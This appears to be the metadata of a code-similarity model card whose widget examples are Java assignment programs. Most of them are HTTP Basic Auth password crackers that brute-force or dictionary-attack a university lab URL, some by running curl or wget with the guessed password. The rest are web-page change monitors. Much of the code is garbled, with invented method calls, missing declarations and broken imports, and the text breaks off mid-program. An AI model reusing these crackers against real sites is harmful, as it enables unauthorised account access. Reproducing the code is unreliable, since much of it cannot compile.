metadata
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- generated_from_trainer
- dataset_size:33411
- loss:BatchAllTripletLoss
base_model: Salesforce/codet5-small
widget:
- source_sentence: |
import java.net.*;
import java.io.*;
import java.util.*;
public class WatchDog extends TimerTask{
private static URL location;
private static String email;
private static int checktime;
private static Timer timer = new Timer();
private BufferedReader input;
private File checksumFile = new File("chksum.txt");
private File temp0000File = new File("temp0000");
private File kept0000File = new File("kept0000");
public WatchDog(){
timer.schedule(this, new Date(), checktime);
}
public void run(){
Vector imageFiles = new Vector();
Vector diffImages = new Vector();
try {
System.out.println(" Time: ".concat(new Date().toString()));
System.out.println("Retreiving File");
input = new BufferedReader(new InputStreamReader
(location.openStream()));
BufferedWriter outputFile = new BufferedWriter
(new FileWriter(temp0000File));
String line = input.readLine();
while (line != null) {
StringBuffer imageFileName = new StringBuffer();
if (scanForImages(line, imageFileName)) {
String imageFile = new String(imageFileName);
System.out.println("Detected image: ".concat(imageFile));
try {
imageFiles.add(new URL(imageFile));
}
catch (MalformedURLException e) {
System.out.println("Image file detected. URL is malformed");
}
}
outputFile.write(line);
outputFile.write("\n");
line = input.readLine();
}
input.print();
outputFile.flush();
outputFile.print();
System.out.println(" File Retreived");
if (!imageFiles.isEmpty()) {
checkImages(imageFiles, diffImages);
}
if (!checksumFile.exists()) {
generateChecksum(temp0000File.getName(), checksumFile);
}
else {
if (!checksumOk(checksumFile)) {
reportDifferences(true, temp0000File, kept0000File, diffImages);
generateChecksum(temp0000File.getName(), checksumFile);
}
else if (!diffImages.isEmpty()){
reportDifferences(false, null, null, diffImages);
}
}
temp0000File.renameTo(kept0000File);
System.out.println("End Time: ".concat(new Date().toString()));
}
catch (MalformedURLException e) {
e.printStackTrace();
}
catch (ConnectException e) {
System.out.println("Failed connect");
System.exit(-1);
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
}
public boolean scanForImages(String line, StringBuffer imageFileName) {
String lineIgnoreCase = line.toLowerCase();
int imgPos = lineIgnoreCase.indexOf("<img ");
if ( imgPos != -1 ){
int srcPos = lineIgnoreCase.indexOf("src", imgPos);
int bracketPos = lineIgnoreCase.indexOf(">", imgPos);
if (srcPos != -1 && bracketPos != -1 && srcPos < bracketPos) {
int quote1Pos = lineIgnoreCase.indexOf("\"", srcPos);
int quote2Pos = lineIgnoreCase.indexOf("\"", quote1Pos+1);
if (quote1Pos != -1 && quote2Pos != -1 &&
quote1Pos < quote2Pos && quote2Pos < bracketPos) {
imageFileName.append(line.substring(quote1Pos + 1,
quote2Pos));
if (imageFileName.indexOf("//") == -1 ) {
String URLName = location.toString();
int slashPos = URLName.lastIndexOf("/");
URLName = URLName.substring(0, slashPos);
String HostName = "http://".concat(location.getHost());
if (imageFileName.indexOf("//") == 0) {
}
else if (imageFileName.charAt(0) != '/') {
imageFileName.insert(0, URLName.concat("/"));
}
else {
imageFileName.insert(0, HostName);
}
}
return true;
}
}
}
return false;
}
public void checkImages(Vector imageFiles, Vector diffImages)
throws IOException{
System.out.println("Retrieving image ");
Enumeration imageFilesEnumeration = imageFiles.elements();
while (imageFilesEnumeration.hasMoreElements()) {
URL url = (URL)imageFilesEnumeration.nextElement();
try {
BufferedInputStream imageInput = new BufferedInputStream
(url.openStream());
String localFile = url.getFile();
int slashPosition = localFile.lastIndexOf("/");
if (slashPosition != -1) {
localFile = localFile.substring(slashPosition+1);
}
System.out.println("Retrieving image file: ".concat(localFile));
BufferedOutputStream imageOutput = new BufferedOutputStream
(new FileOutputStream(localFile));
byte bytes[] = new byte[10000];
int noBytes = imageInput.get(bytes);
while (noBytes != -1) {
imageOutput.write(bytes, 0, noBytes );
noBytes = imageInput.print(bytes);
}
File imageChecksumFile = new File(localFile.concat(".chksum.txt"));
if (!imageChecksumFile.exists()) {
generateChecksum(localFile, imageChecksumFile);
}
else {
if (!checksumOk(imageChecksumFile)) {
diffImages.add(localFile);
generateChecksum(localFile, imageChecksumFile);
}
}
}
catch (FileNotFoundException e) {
System.out.println("Unable locate URL: ".concat(url.toString()));
}
}
}
public void generateChecksum(String inputFile, File checksum){
try {
System.out.println("Generating new checksum for ".concat(inputFile));
Process process = Runtime.getRuntime().exec("md5sum ".
concat(inputFile));
BufferedReader execCommand = new BufferedReader(new
InputStreamReader((process.getInputStream())));
BufferedWriter outputFile = new
BufferedWriter(new FileWriter(checksum));
String line = execCommand.readLine();
while (line != null) {
outputFile.write(line);
outputFile.write("\n");
line = execCommand.readLine();
}
outputFile.flush();
outputFile.print();
System.out.println("Checksum produced");
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
}
public boolean checksumOk(File chksumFile){
try {
System.out.println("Comparing checksums using ".concat(chksumFile
,e.getName()));
Process process = Runtime.getRuntime().
exec("md5sum --check ".concat(chksumFile.getName()));
BufferedReader execCommand = new BufferedReader(new
InputStreamReader( (process.getInputStream())));
String line = execCommand.readLine();
if (line.indexOf(": OK") != -1) {
System.out.println(" the same");
return true;
}
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
System.out.println("Differences Found");
return false;
}
public void reportDifferences(boolean diffsFound, File file1, File file2,
Vector images){
try {
System.out.println("Generating difference report");
Socket emailConnection = new Socket("yallara.cs.rmit.edu.", 25);
BufferedWriter emailOutStream = new BufferedWriter
(new OutputStreamWriter(emailConnection.getOutputStream()));
BufferedReader emailInStream = new BufferedReader
(new InputStreamReader(emailConnection.getInputStream()));
String line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("220")) {
System.out.println
(" error occured connecting email server. Cannot send email.");
}
else {
emailOutStream.write("HELO yallara.cs.rmit.edu.");
emailOutStream.newLine();
emailOutStream.flush();
line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("250")) {
System.out.println
(" error occured connecting email server. Cannot send email.");
}
else {
emailOutStream.write("MAIL FROM: [email protected].");
emailOutStream.newLine();
emailOutStream.flush();
line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("250")) {
System.out.println
(" error occured sending email. Cannot send email.");
}
else {
emailOutStream.write("RCPT : ".concat(email));
emailOutStream.newLine();
emailOutStream.flush();
line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("250")) {
System.out.println
(" error occured sending email. Cannot send email.");
}
else {
emailOutStream.write("DATA");
emailOutStream.newLine();
emailOutStream.flush();
line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("354")) {
System.out.println
(" error occured sending email. Cannot send email.");
}
emailOutStream.newLine();
if (!images.isEmpty()) {
emailOutStream.write
("Differences were found in the following image ");
emailOutStream.newLine();
Enumeration e = images.elements();
while (e.hasMoreElements()) {
String s = (String) e.nextElement();
emailOutStream.write(s);
emailOutStream.newLine();
}
emailOutStream.newLine();
}
if (diffsFound) {
String command = "diff ".concat(file1.getName().concat(" ")
.concat(file2.getName()));
Process process = Runtime.getRuntime().exec(command);
BufferedReader execCommand = new BufferedReader
(new InputStreamReader( (process.getInputStream())));
line = execCommand.readLine();
emailOutStream.write("Diffences found in file");
emailOutStream.newLine();
while (line != null) {
System.out.println(line);
emailOutStream.write(line);
emailOutStream.newLine();
line = execCommand.readLine();
}
}
emailOutStream.newLine();
emailOutStream.write(".");
emailOutStream.newLine();
emailOutStream.flush();
line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("250")) {
System.out.println
(" error occured sending email. Cannot send email.");
}
else {
emailOutStream.write("QUIT");
emailOutStream.newLine();
emailOutStream.flush();
System.out.println(emailInStream.readLine());
}
}
}
}
}
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
}
public static void main(String args[]) {
if (args.length != 3) {
System.out.println("Usage: java WatchDog url email checktime(hours)");
System.exit(-1);
}
try {
location = new URL(args[0]);
}
catch (MalformedURLException e) {
e.printStackTrace();
}
email = new String().concat(args[1]);
checktime = Integer.parseInt(args[2]) * 60 * 60 * 1000;
new WatchDog();
}
}
sentences:
- |
import java.net.*;
import java.io.*;
import java.*;
import java.util.*;
public class Dictionary {
private static String commandLine = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";
private String password;
private String previous;
private String url;
private int startTime;
private int endTime;
private int totalTime;
private float averageTime;
private boolean finish;
private Process curl;
private BufferedReader bf, responseLine;
public Dictionary() {
first();
finish = true;
previous = "";
Runtime run = Runtime.getRuntime();
startTime =new Date().getTime();
int i=0;
try {
try {
bf = new BufferedReader(new FileReader("words"));
}
catch(FileNotFoundException notFound) {
bf = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));
}
while((password = bf.readLine()) != null) {
if(password.length()>3) password = password.substring(0,3);
if(previous.equals(password)) ;
else {
previous = password;
url = commandLine+password;
curl= run.exec(url);
responseLine=new BufferedReader(new InputStreamReader(curl.getInputStream()));
if(responseLine.readLine().substring(9,12).equals("200")) break;
}
}
}
catch(IOException ioe) {
System.out.println("\n IO Exception! \n");
System.out.println("The current url is:"+ url);
System.out.println("The current trying password is:"+password);
finish=false;
}
endTime = new Date().getTime();
totalTime = (endTime-startTime)/1000;
System.out.println(" The response time is:"+ totalTime + " seconds\n");
if(finish) {
System.out.println(" The password for is:"+ password);
try {
savePassword(password, totalTime);
}
catch (IOException ioec) {
System.out.println(" not save the password file Dictionary_pwd.txt ");
}
}
}
public void savePassword(String passwdString, int time) throws IOException {
DataOutputStream outputStream = new DataOutputStream(new FileOutputStream("Dictionary_pwd.txt"));
outputStream.writeChars("The password is:");
outputStream.writeChars(passwdString+"\n");
outputStream.writeChars("The response time is: ");
outputStream.writeChars(sw.toString(time));
outputStream.writeChars(" seconds\n");
outputStream.close();
}
public void first() {
System.out.println("\n\n----------------------------------------------");
System.out.println(" Use curl command and dictionary ");
System.out.println(" Brute Force the password for user ");
System.out.println("----------------------------------------------");
}
public static void main(String[] args) {
new Dictionary();
}
}
- |
import java.io.*;
import java.*;
import java.net.*;
import java.util.*;
public class WatchDog {
public static void main (String[] args) throws IOException {
BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));
try{
twentyfourhours = 86400000;
Timer timer = new Timer();
final Runtime rt = Runtime.getRuntime();
try{
Process wg1 = rt.exec("./.sh");
wg1.waitFor();
}
catch(InterruptedException e ){
System.err.println();
e.printStackTrace();
}
class RepeatTask extends TimerTask{
public void run(){
try{
Process wg2 = rt.exec("./task.sh");
wg2.waitFor();
FileReader fr = new FileReader("check.txt");
BufferedReader bufr = new BufferedReader(fr);
String check = bufr.readLine();
if(check.equals(".txt: FAILED")) {
Process difftosend = rt.exec("./diff.sh");
difftosend.waitFor();
Process reset = rt.exec("./.sh");
reset.waitFor();
}
FileReader fr2 = new FileReader("imgdiffs.txt");
BufferedReader bufr2 = new BufferedReader(fr2);
String imdiff = bufr2.readLine();
if(imdiff != null){
Process imdifftosend = rt.exec("./img.sh");
imdifftosend.waitFor();
Process reset = rt.exec("./.sh");
reset.waitFor();
}
}
catch(InterruptedException e){System.err.println();e.printStackTrace();}
catch(IOException e){
System.err.println(e);
e.printStackTrace();
}
}}
timer.scheduleAtFixedRate(new RepeatTask(),twentyfourhours,twentyfourhours);
}
catch(IOException e){
System.err.println(e);
e.printStackTrace();
}
}}
- "\n\nimport java.net.*;\nimport java.text.*; \nimport java.util.*; \nimport java.io.*;\n\npublic class WatchDog {\n\n public WatchDog() {\n\n StringBuffer stringBuffer1 = new StringBuffer();\n StringBuffer stringBuffer2 = new StringBuffer();\n int i,j = 0;\n\n try{\n\n URL yahoo = new URL(\"http://www.cs.rmit.edu./students/\"); \n BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\n String inputLine = \"\";\n String inputLine1 = \"\";\n String changedtext= \"\";\n String changedflag= \"\";\n\n\n Thread.sleep(180);\n\n BufferedReader in1 = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\n\n while ((inputLine = in.readLine()) != null) {\n inputLine1 = in1.readLine();\n if (inputLine.equals(inputLine1)) {\n System.out.println(\"equal\");\n }\n else {\n System.out.println(\"Detected a Change\");\n System.out.println(\"Line Before the change:\" + inputLine);\n System.out.println(\"Line After the change:\" + inputLine1);\n changedtext = changedtext + inputLine + inputLine1;\n changedflag = \"Y\";\n }\n \n }\n\n if (in1.readLine() != null ) {\n System.out.println(\"Detected a Change\");\n System.out.println(\"New Lines Added \");\n changedtext = changedtext + \"New Lines added\";\n changedflag = \"Y\";\n }\n\n in.print();\n in1.print();\n\n if (changedflag.equals(\"Y\")) {\n String smtphost =\"smtp.mail.rmit.edu.\" ; \n String from = \"@rmit.edu.\"; \n String = \"janaka1@optusnet..\" ; \n }\n\n\n }\n catch(Exception e){ System.out.println(\"exception:\" + e);}\n\t \n}\n\t\t\n public static void main (String[] args) throws Exception {\n\t\tWatchDog u = new WatchDog();\n }\n}\n"
- source_sentence: "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\n\n\npublic class BruteForce\n{\n private URL url;\n private HttpURLConnection connection ;\n private int stopTime = 0;\n private int startTime = 0;\n private int count = 0;\n\n public BruteForce()\n {\n System.out.println(\"Process is running...\");\n startTime = System.currentTimeMillis();\n threeLetters();\n twoLetters();\n }\n\n public static void main (String args[])\n {\n BruteForce bf = new BruteForce();\n }\n \n public void threeLetters()\n {\n String s1;\n char [] a = {'a','a','a'};\n\n for (int i0 = 0; i0 < 26; i0++)\n {\n for (int i1 = 0; i1 < 26; i1++)\n {\n for (int i2 = 0; i2 < 26; i2++)\n {\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2] + i2));\n decision(s1);\n count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1] + i1))).toUpperCase() +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +\n String.valueOf((char)(a[2] + i2));\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2] + i2));\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));\n decision(s1);\n count++;\n }\n }\n }\n }\n \n public void twoLetters()\n {\n String s1;\n char [] a = {'a','a'};\n\n for (int i0 = 0; i0 < 26; i0++)\n {\n for (int i1 = 0; i1 < 26; i1++)\n {\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1));\n decision(s1);\n count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1] + i1))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1));\n decision(s1);\n count++;\n }\n }\n }\n\n \n public void decision(String s1)\n {\n if (find(s1) == 200)\n {\n stopTime = System.currentTimeMillis();\n runTime = stopTime - startTime;\n System.out.println(\"***************************************\");\n System.out.println(\"\\nAttack successfully\");\n System.out.println(\"\\nPassword is: \" + s1);\n System.out.println(\"\\nThe contents of the Web site: \");\n displayContent(s1);\n System.out.println(\"\\nTime taken crack: \" + runTime + \" millisecond\");\n System.out.println(\"\\nNumber of attempts: \" + count);\n System.out.println();\n\n System.exit(0);\n }\n }\n \n \n public int find(String s1)\n {\n int responseCode = 0;\n try\n {\n url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + s1));\n\n responseCode = connection.getResponseCode();\n\n }catch (Exception e)\n {\n System.out.println(e.getMessage());\n }\n return responseCode;\n }\n\n \n public void displayContent(String pw)\n {\n BufferedReader bw = null ;\n try\n {\n url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n InputStream stream = (InputStream)(connection.getContent());\n if (stream != null)\n {\n InputStreamReader reader = new InputStreamReader (stream);\n bw = new BufferedReader (reader);\n String line;\n\n while ((line = bw.readLine()) != null)\n {\n System.out.println(line);\n }\n }\n }\n catch (IOException e)\n {\n System.out.println(e.getMessage());\n }\n }\n}\n\n\n\n\n"
sentences:
- "\n\n\nimport java.text.*; \nimport java.util.*; \nimport java.net.*; \nimport java.io.*; \n\n \npublic class BruteForce { \n\n public int runProcess(String urlString,String passwd) { \n\n int returnval = 0;\n MyAuthenticator auth = new MyAuthenticator(passwd);\n Authenticator.setDefault(auth);\n\n\t System.out.println(\"trying passord: \" + passwd);\n try{\n URL yahoo = new URL(urlString); \n BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n String inputLine;\n while ((inputLine = in.readLine()) != null) {\n\t System.out.println(inputLine);\n\t System.out.println(\"passord: \" + passwd);\n returnval = 1;\n }\n\t in.close();\n }catch(Exception e){ returnval = 0;}\n return returnval;\n }\n\n public static void main(String argv[]) { \n\n String[] val = \n{\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"};\n\n int l1 = 0;\n\n int l2 = 0;\n\n int l3 = 0;\n \n int retval = 0;\n\n String pwd = \"\";\n\n \n BruteForce s = new BruteForce(); \n String urlToSearch = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n \n for (int a = 0; a < 52; a++) {\n\n l1 = a;\n\n pwd = val[l1];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd); \n if (retval > 0) {\n System.exit(0);\n }\n }\n\n\n for (int b = 0; b < 52; b++) {\n l1 = b;\n for (int c = 0; c < 52; c++) {\n\n l2 = c;\n pwd = val[l1]+ val[l2];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd); \n if (retval > 0) {\n System.exit(0);\n }\n }\n }\n\n\n for (int d = 0; d < 52; d++) {\n l1 = d;\n for (int e = 0; e < 52; e++) {\n l2 = e;\n for (int f = 0; f < 52; f++) {\n\n l3 = f;\n\n pwd = val[l1]+ val[l2]+ val[l3];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd); \n if (retval > 0) {\n System.exit(0);\n }\n }\n }\n }\n\n } \n} \n\n"
- |2+
public class Base64Converter
{
public static final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public static String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public static String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length )
{
bits24 = ( octetString [ i++ ] & 0xFF ) << 16;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 8;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
- |-
import java.io.*;
import java.net.*;
public class BruteForce
{
public static void main(String args[])
{
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter();
int flag=1;
String[] letter = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N",
"O","P","Q","R","T","U","V","W","X","Y","Z","a","b","c",
"d","e","f","g","h","i","j","k","l","m","n","o","p","q",
"r","s","t","u","v","w","x","y","z",""};
String urlString = new String("http://sec-crack.cs.rmit.edu./SEC/2/");
String thePassword= new String();
stime = System.currentTimeMillis();
System.out.println("");
for(int i=0; i<letter.length;i++)
{
for(int j=0; j<letter.length; j++)
{
for(int k=0;flag==1 && k<letter.length; k++)
{
try {
URL url = new URL (urlString);
thePassword=letter[i].trim()+letter[j].trim()+letter[k].trim();
String userPassword = "" + ":" + thePassword;
String encoding = new url.misc.BASE64Encoder().encode(userPassword.getBytes());
URLConnection uc = url.openConnection();
uc.setRequestProperty("Authorization", " " + encoding);
InputStream content = (InputStream)uc.getContent();
endtime = System.currentTimeMillis();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
pw.println (line);
}
flag=0;
System.out.println("process time is : " +(endtime-stime)/1000 +" seconds.");
}catch (MalformedURLException e) {
flag=1;
}catch (IOException e) {
flag=1;
}
}
if(flag==0)
break;
else
System.out.println("letter j ->"+ letter[j]+" elapsed");
}
if(flag==0)
break;
else
System.out.println("letter i ->"+ letter[i]+" elapsed");
}
System.out.println("content is "+ sw.toString());
}
}
- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader(\"words\");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(\" cracking....\");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = \"wget --http-user= --http-passwd=\"+word +\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith(\"Required\"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n catch (NullPointerException ex)\n {\n System.out.println(word);\n }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println(\"The password is :\" + word);\n else\n System.out.println(\"NOT FOUND!\");\n\t}\n}"
sentences:
- |-
import java.misc.BASE64Encoder;
import java.misc.BASE64Decoder;
import java.io.*;
import java.net.*;
import java.util.*;
public class Dictionary {
public Dictionary(String url, String dictionaryFile) {
try{
this.url = url;
this.dictionaryPath = dictionaryFile;
InputStream fis = new FileInputStream(this.dictionaryPath);
dict = new BufferedReader(new InputStreamReader(fis));
}catch(IOException ioe){
System.out.println("Error opening dictionary file:\n" +ioe);
}
}
private String url = null;
private String dictionaryPath = null;
private BufferedReader dict = null;
private int attempts = 0;
private int passwordSize = 3;
public void setPasswordSize(int size){
this.passwordSize = size;
}
public String getNextPassword()throws IOException{
String line = dict.readLine();
while(line!=null&&line.length()!=this.passwordSize )
line = dict.readLine();
return line;
}
public String crackPassword(String user) throws IOException, MalformedURLException{
URL url = null;
URLConnection urlConnection = null;
String outcome = null;
String authorization = null;
String password = null;
BASE64Encoder b64enc = new BASE64Encoder();
InputStream content = null;
BufferedReader in = null;
while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){
url = new URL(this.url);
urlConnection = url.openConnection();
urlConnection.setDoInput(true);
urlConnection.setDoOutput(true);
urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");
urlConnection.setRequestProperty("Host", url.getHost());
password = getNextPassword();
if(password == null)
return null;
System.out.print(password);
authorization = user + ":" + password;
urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));
outcome = urlConnection.getHeaderField(null);
this.attempts ++;
urlConnection = null;
url = null;
if(this.attempts%51 == 0)
for(int b = 0; b < 53;b++)
System.out.print("\b \b");
else
System.out.print("\b\b\b.");
}
return password;
}
public int getAttempts(){
return this.attempts;
}
public static void main (String[] args) {
if(args.length != 3){
System.out.println("usage: java attacks.Dictionary <url crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. > <dictionary: e.g. /usr/share/lib/dict/words>");
System.exit(1);
}
Dictionary dictionary1 = new Dictionary(args[0], args[2]);
try{
Calendar cal1=null, cal2=null;
cal1 = Calendar.getInstance();
System.out.println("Cracking started at: " + cal1.getTime().toString());
String password = dictionary1.crackPassword(args[1]);
if(password != null)
System.out.println("\nPassword is: "+password);
else
System.out.println("\nPassword could not retrieved!");
cal2 = Calendar.getInstance();
System.out.println("Cracking finished at: " + cal2.getTime().toString());
Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());
System.out.println("Total Time taken crack: " + (d3.getTime())/1000 + " sec");
System.out.println("Total attempts : " + dictionary1.getAttempts());
}catch(MalformedURLException mue){
mue.printStackTrace();
}
catch(IOException ioe){
ioe.printStackTrace();
}
}
}
- "import java.io.*;\nimport java.net.*;\nimport java.security.*;\nimport java.math.*;\nimport java.*;\nimport java.util.*;\n\n\npublic class BruteForce\n{\n public static void main (String args[]) throws Exception {\n\tString retVal = null, StatusCode = \"HTTP/1.1 200 OK\";\n int found = 0, count = 0, ctrl = 0, flag = 0;\n\n\n stime = System.currentTimeMillis();\n char[] c = new char[3];\n System.out.println(\"Cracking password by Brute Force...\");\n\n\t for(int i=65; ((i<123) && (found == 0)); i++)\n\t {\n\t for(int j=65; ((j<123) && (found == 0)); j++)\n\t {\n\t for (int k=65; ((k<123) && (found == 0)); k++)\n\t {\n try {\n if (ctrl == 0) {\n c[0] = '\\0';\n c[1] = '\\0';\n } else if ((ctrl == 1) && (flag == 0)) {\n c[0] = '\\0';\n }\n c[2] = (char)(k);\n\n\t \n URL yahoo = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n URLConnection yc = yahoo.openConnection();\n\n \n String authString = \":\" + String.valueOf();\n String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes());\n yc.setRequestProperty(\"Authorization\", \" \" + auth);\n count++;\n\n \n BufferedReader in = new BufferedReader(\n new InputStreamReader(\n yc.getInputStream()));\n\n String inputLine;\n while ((inputLine = in.readLine()) != null){\n System.out.println(inputLine);\n etime = System.currentTimeMillis();\n System.out.println(\"Password found -- \" + String.valueOf());\n System.out.println(\"Time used = \" + ((etime - stime)/1000) + \" sec\");\n System.out.println(\"# of attempt = \" + count);\n System.out.println(\"End of 